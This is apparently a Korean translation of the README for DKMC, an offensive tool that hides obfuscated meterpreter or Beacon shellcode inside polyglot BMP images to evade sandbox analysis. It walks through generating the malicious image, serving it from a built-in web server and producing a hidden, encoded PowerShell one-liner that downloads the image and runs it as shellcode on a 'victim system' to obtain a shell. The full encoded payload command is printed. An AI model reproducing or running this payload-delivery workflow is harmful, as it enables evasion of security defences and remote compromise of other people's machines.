Don't Kill My Cat (DKMC)

WINDOWS 10은 이제 셸코드 페이로드가 제대로 실행되는 것을 제한합니다. 셸코드를 디코딩하고 실행하기 위해 RWX 페이지가 필요하기 때문입니다. DKMC는 적절한 권한으로 메모리 페이지를 설정하도록 업데이트할 수 있습니다.

Don't kill my cat은 폴리글롯 이미지 내부에 저장된 난독화된 셸코드를 생성하는 도구입니다. 이미지는 100% 유효하며 동시에 100% 유효한 셸코드입니다. 간단한 "합법적인" 이미지이기 때문에 샌드박스 분석을 회피하는 것이 아이디어입니다. 현재 이 도구는 최종 셸코드 페이로드를 실행하기 위해 PowerShell에 의존합니다.

왜 Don't kill my cat이라고 불릴까요? 도구 이름을 짓는 데 능숙하지 않기 때문에, 기본 BMP 이미지가 고양이라는 사실을 이용하여 이름을 지었습니다.

내부 작동 방식에 대한 프레젠테이션은 여기에서 찾을 수 있습니다: https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf

기본 흐름

셸코드 생성 (meterpreter / Beacon)
난독화된 셸코드를 이미지 안에 삽입
PowerShell이 이미지를 다운로드하고 셸코드로 실행
셸 획득

설치

$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

사용법

DKMC 실행

$ python dkmc.py


DKMC - Don't kill my cat
         Evasion tool - Mr.Un1k0d3r RingZer0 Team
     |\      _,,,---,,_
    /,`.-'`'    -.  ;-;;,_
   |,4-  ) )-,_..;\ (  `'-'
  '---''(_/--'  `-'\_)    The sleepy cat

----------------------------------------------------
옵션을 선택하세요:

        [*] (gen)       악성 BMP 이미지 생성
        [*] (web)       웹 서버 시작 및 악성 이미지 전달
        [*] (ps)        PowerShell 페이로드 생성
        [*] (sc)        원시 파일에서 셸코드 생성
        [*] (exit)      애플리케이션 종료

>>>

원시 파일에서 셸코드 생성

>>> sc
(shellcode)>>> set source shellcode.txt
        [+] source 값이 설정되었습니다.

(shellcode)>>> run
        [+] 셸코드:
\x41\x41\x41\x41

이미지 내부에 삽입된 난독화된 셸코드 생성

>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
        [+] shellcode 값이 설정되었습니다.
        
(generate)>>> run
        [+] 이미지 크기는 300 x 275입니다.
        [+] 난독화 키 생성 중 0x1f1dad93
        [+] 셸코드 크기 0x4 (4) 바이트
        [+] 매직 바이트 생성 중 0xa4d0c752
        [+] 최종 셸코드 길이는 0x57 (87) 바이트입니다.
        [+] 새 BMP 헤더 설정됨 0x424de9a4c60300
        [+] 새 높이는 0x0e010000 (270)입니다.
        [+] 이미지 저장 완료. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)

(generate)>>>

피해자 시스템에서 실행할 PowerShell 페이로드 생성

>>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
        [+] url 값이 설정되었습니다.

(powershell)>>> run
        [+] PowerShell 스크립트:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAFEAdQBNAGoAVQAhAHQAVgBaAHIAYgA5AHAASQBGAFAAMABlAEsAZgA5AGgAVgBDAEgAWgBsAG8AdwBMAFMAYgBmAE4AUgBxAHAAVQBuAG4AbQAwAEUASQBKAEoAMABvAFMAaQBhAHIAIQB2AE0ARwBIAHMATQBUAE4AagBFAHIAZgBOAGYAOQA5AHIAWQB6AGQARQBrAEcAeAAyAHQAVwBzACsAWQBIAHYAdQAzAEwAbAB6AHoAcgBuAEgANAA0AEkAdQB1ADEAbwB5AFQAMwBlAEUARAA2AFIAOABDAFYASQB4AEUAWgBLADkAMwBaADMAZABuAFoASwAvAGIASAA4AEYANQBRAHMALwBjAFAAWABGAFAASQBDADcAZQBmACsAbwBkADAANAArAGsAawAvAEcANwBzADQAawBEAGoAMgBkAHgAbAA3ADIANQB2AGYAWAB2AFQAYgA1AHUAYgB0AEQAOABxAHQASABKAFEAMgBJAFcAVgBwAFMAKwBUADAAUQBmAHMAegBCAEoAdABsAEQASgBJAFUASABmAGkAegBCAGUAZwB3AHUATABTADQARwA3AGMAKwBZADEAUgB6AFcAbwBxAGcAcAAhAHMAcgBDADAAZQBGAGgASQA1AFkAUwBRAHIAMQA2AGQAbwA1ACEAMQA1AFMAQwBZAE0AdwBaAEsATgBNAGkAdgA4AGoAVgBEAEMAUwBVAHoAOABhADMANABHAG4AeQBrADUAUwArAE8AMABkAGMAagBDAG4AUAB3ADUASQBHADkAVwBhADQAbwAxAHIAbwBwADIATgBmAGgARQBmAFQAYQBoADAAMwA0AGsAeQBiAHgAcgBkAHYAaABqAFUAcwBWADAAZABPAGEAeABGAFQAcgBrAHoARABUAFoAUwBHAHcAUABFADUATgB5AHoAeQBZAEsAVQBMAEQAcABJAEkAVABLAFAARABQAEMAbQBVAG0ARwBqAG4AaQBvAFgANwBlADgANQBGAHEATwBnAEUAdQBwAGgAdABDAFIAMwBRAE0AKwBFAHIAdwAwAHIAaABLAHYAWQBqAFEAYwBjAHkAegBMAGUAVgA1AGwAbABGAG0AUQBiAGUAOQBuAEQALwBOAGQAKwBYAG8ASABDAFMAYwB4AEkAdQB4AFIAegBNAFUAaABoAHoAYgBwAE4AUAA1AGoAIQB2AG8AaAArAEgAbQBnAFcAIQA0AHgAcQBrAGkARgB5AFEAUwArAGEAQgBjAG8ANQBwADYASABQAG8AdwAyAFIAawBkAHUARwB1ADIAUAB0AHIASgA1AG4AcgBrAHoAQwBxAHAANgBWAGwASQAwAG4AYgA2AHUAeABrAHAASwAyAG0ARwB0AFoAbQBwAFcAdgBNAFcAbgBoAHQAcwBJAHUAIQBQAEsAUwBZAC8AQgBiAEoAZgBMAEgAbwBSAC8AVwBsAFkAdQBGAFIAdQBFAFUAcABqAHkAKwBLAGEANQBpAE4AIQBPADcARgA3ACEAbgBGAHMAaQBRAGYAUwBjAFUAbQBIAFMAeQBLAGEAaQBFAFQAZgBDAHcATgBaACEAegBXAGkAIQB4AFQAcQBvAGEAagBFAFMAbABCAGYAQwA0AG4AOAA2AGIAbwBkADQASwBwAGwAOQBSAG8AYgBMADgAMgBkAGIAWABJAGcAMQBuAEcANAArAG4AMAA3AFAAagBIAFkARABZAE4ARgBxADAAegBIAEIAeABlAEMAdQBhAFAASABsAE0AOQBJAGIAegBVAHYAagBtACsAZwBMAG8ATwB1AEMALwBiAFgAWAA0ADAAVABpAGMAOABMACsAVQBtAFQARgBnAEkAegBTAFMAawAhAGYATQBLAHQAWgByAGIARwBJAFUASgBoAHcAdwArAHAAdwBqAHIAWQB0ADIAbQBrAFEAKwAhADMAdwBRAE8AVQA2AHAAVABpAG0AdwB5ADMASgB6AFcAQwBwAGoAKwBQAGIAYwBlAE0AKwA2AEQAcgBIAG0AbwBDAG8AVgBWAG8AVwBDAHMAcAA4AFcAcwBXAEQAZQBOAGsANwAhAEQAIQBTAEsAOABlAGoAYQBRADMAUQBuADIAQwBCAFQAUgBlAFYAOABrAHgAZQByAHAATQB3AFkAWgBEAFUANgBWAHMAawBrAHYAeABpAGIAMQBiAE8ASQBDADUAZQBEAGIAcABCAFkAcQBsAGcALwBWAFkAaQAyAHkAVwArAE8AeAAzAEUANwBNAE4AZgBPAG8AMABrAFcANgBrAGYAVQBDAHQASABrAEoARABSAEUAcQBMAFcATQBQAGQAWQBCAHcARABOAHcASQBQAEUAWgA1AGkAbwA1AE4AagBwAGsAUAA5AGMAUgBsADAANgBJAFUAWQB5AHMAMgBEAGMAbwA1AEMANgBlAFkAYQBZAG4AYwA0AEoAcwBVAEUAMQBlAG4ANgBwAEoAWQA5AGEAYQBTAEwATQBjAEYAZgBSAEoARQBIACEASwBjAGsATABsAEoAbQA5AE0AcABlAGsAZgBlAGUAcABrADIANgBSAFIAOAA0AHgAVQA3AEsASgBwAHQAMQBWAGsAcABmACEAVgB1AGEALwBXAGoASgBsAHcAdQB0AEUAMAB1AG0AZABUAG8AVQB5AGsAVgBUADcAWAA1ADMAeABWAGEAMgBOAFoARwB2AFEAMABKAE8AYwBsAG0AMABkAGIARABlAHEATABUAGYAaQB2AEYAQwBYAEIAKwBmAG4AWQBSAFgAWQBlADMAbAAxAGUAZABtADMANgBYAHoAZwBhADMAawBVADcAZABmAEYAUABRAFgAVQAhAFQAaABYAEUARABQAFQAegBVAHEAQwBaAHgARgAzAEoAQgAvAFMAYgBWADEASAB3AHoAMAB6AG8ANgBmAFAAdQAyAHUAdgBmAEIAcQBlAEMAdgBlAG4AaABRAE8AYQBpADgARgBiAEcATwBZAGwAMgB1AHYAdgB2AHoAZgBmAFgARABIADMAdgB2AHEAOAA0ADQAaQBOADUAawA3AFYAZgA2ACsAaQBOAGEAcQBMADUAcQBpAGQAbABpAGUAagBvAC8AdgBiADYAZQB6AEQANgBQAGsANQBPAGIAdABQADMAKwB4AGgAUQA3AFYASwBvAFoANQBjAGcANABtAGwAMABoAHYATABhAFEANwBkAHkAdgBlAG8ASwBsAE0AMAB5AHoAKwBMAGoATgBRAFkAYgAhADAAZgA3AHgAIQAxAEcAdwBVAGUATgBjAGUASwBtAEYAUABqAEUAMwB0AFAARwBWAHUAWQA1AFEAZABoAGQANAB1ADcAKwAzADkAYwA0AGkAdgB3AE8AdABSADQAYwB0AFgAaAAwAGUAMwBtAEQAQgB5AE8ANQB6AEMARAB0AGYASQBKAHoAcQBtAFYAMgA1ADMANgA5AFUAMABCAFkAcgA5ACsAOABxAEMATQB2AHIATgA5ADQAUQBVAFcASQArAG0AOQA1AE8AcgBmAFoAWgBoAEYAKwBxAGkAMgBkADEAcgBSAGgAYQAwAHYANQA5ADcAZQBZADYAawBkAHMAOQBpADQANwByAFYAYgBjADkATwBiAC8ATwB6ADIANQBYAEcAZgA0ADUANwArAFcAbgBzAGQAMwBMADQAeQArAGkAcgBLAEsALwBUAHgAcwBHADYARgBQAFgALwB3AGoALwB2ADQATgBNAGwAZQBUAGEAUQB4ADIAMABmAGMANAByAEgAcgB6AFoAWQBCAHkAcQBhADYAZAAhAEwAWgBTAGkAaQBxAGMANQBGAGQANgBOAEQAdgBEAGoAdQAzAGkAUwBXAEYAMwB4AC8AaQBVADYAdQBCAGsAUQB0AFoAUQBVAHUAdwBIAG4AcwB0AGcAUQBRADYAcwA5AFoATwAhADAAMQBUAHEAOABxADAATQA0ADIAQQB1AFMAagAvAFEAdQBGAFkAcgA2AHAAKwAxADUAMABlAHQAdwBUAEsAdQA5ADgAKwBEAGYAcQB0AHUAawBaAFAARwBWAHcAQgB0AGgARAB5AFEATQBxAEoAUwBXAFUALwB0ADcAZQBPAHEAVAAwAHoAZwAxAFUAdwBMAGMARwBmAFkAWAB1AEEAbQBzAHMAdQArACsAawBUADUANABnAEsAZQA1ADgAcQBrAFkAWgB3AFkASAArAEwARgBiAEwAeQAxAGIAYwBuAHMAaQBqAFAAOABMAHAAegBWADkAdABFAFEATAAhACEAIQA9ACIALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAgACIAQQAiACkAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

(powershell)>>>

내장 웹 서버를 사용하여 이미지 전달

>>> web 
(web)>>> set port 8080
        [+] port 값이 설정되었습니다.

(web)>>> run
        [+] 8080 포트에서 웹 서버 시작 중

127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -

마지막 단계는 피해자 시스템에서 PowerShell 원라인을 실행하는 것입니다.

TODO

더 많은 파일 형식 지원.

Credit

Mr.Un1k0d3r RingZer0 Team 2016

DKMC

인기

Don't Kill My Cat (DKMC)

기본 흐름

설치

사용법

TODO

Credit